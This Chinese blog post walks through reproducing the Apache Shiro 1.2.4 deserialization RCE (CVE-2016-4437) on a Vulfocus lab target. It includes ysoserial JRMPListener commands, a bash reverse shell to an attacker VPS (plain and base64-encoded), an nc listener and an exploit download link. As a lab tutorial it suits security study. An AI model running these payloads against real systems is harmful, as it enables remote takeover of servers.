【漏洞复现】ApacheShiro1.2.4反序列化漏洞复现(CVE-2016-4437)

前言:

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

影响版本:

Apache Shiro <= 1.2.4

漏洞原理:

Apache Shiro 1.2.4及以前版本中,Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
在这里插入图片描述

漏洞复现:

  1. vps机器,java环境
  2. 版本Apache Shiro <=1.2.4
  3. http请求包cookie中的RememberMe参数
  4. 靶场地址:http://vulfocus.fofa.so/
  5. exp下载地址:https://pan.baidu.com/share/init?surl=yH6phKiN3F5RihRXSPe-Qg(提取码pstc)

第一步:启动靶机后,访问URL通过burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在rememberMe=deleteMe
在这里插入图片描述

第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"

这里的命令需要使用Java Runtime配置bash编码。
在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html
转换命令如下:(这里是反弹shell的端口为1234)

bash -i >& /dev/tcp/VPS公网ip/1234 0>&1

在这里插入图片描述

第三步:最终在VPS上执行的命令如下:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuOS4zNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

在这里插入图片描述
第四步:使用exp.py生成payload,需要python2的环境,命令如下:

python2 exp.py 公网VPS:1099   (注意这里的端口为1099)

红色框标出的为生成的payload
在这里插入图片描述
第五步:在VPS上,使用nc监听1234端口,命令如下:

nc -lvvp 1234

在这里插入图片描述
第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload
在这里插入图片描述

第七步:通过burp发送数据包,查看VPS中java监听接口,nc监听结果。
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值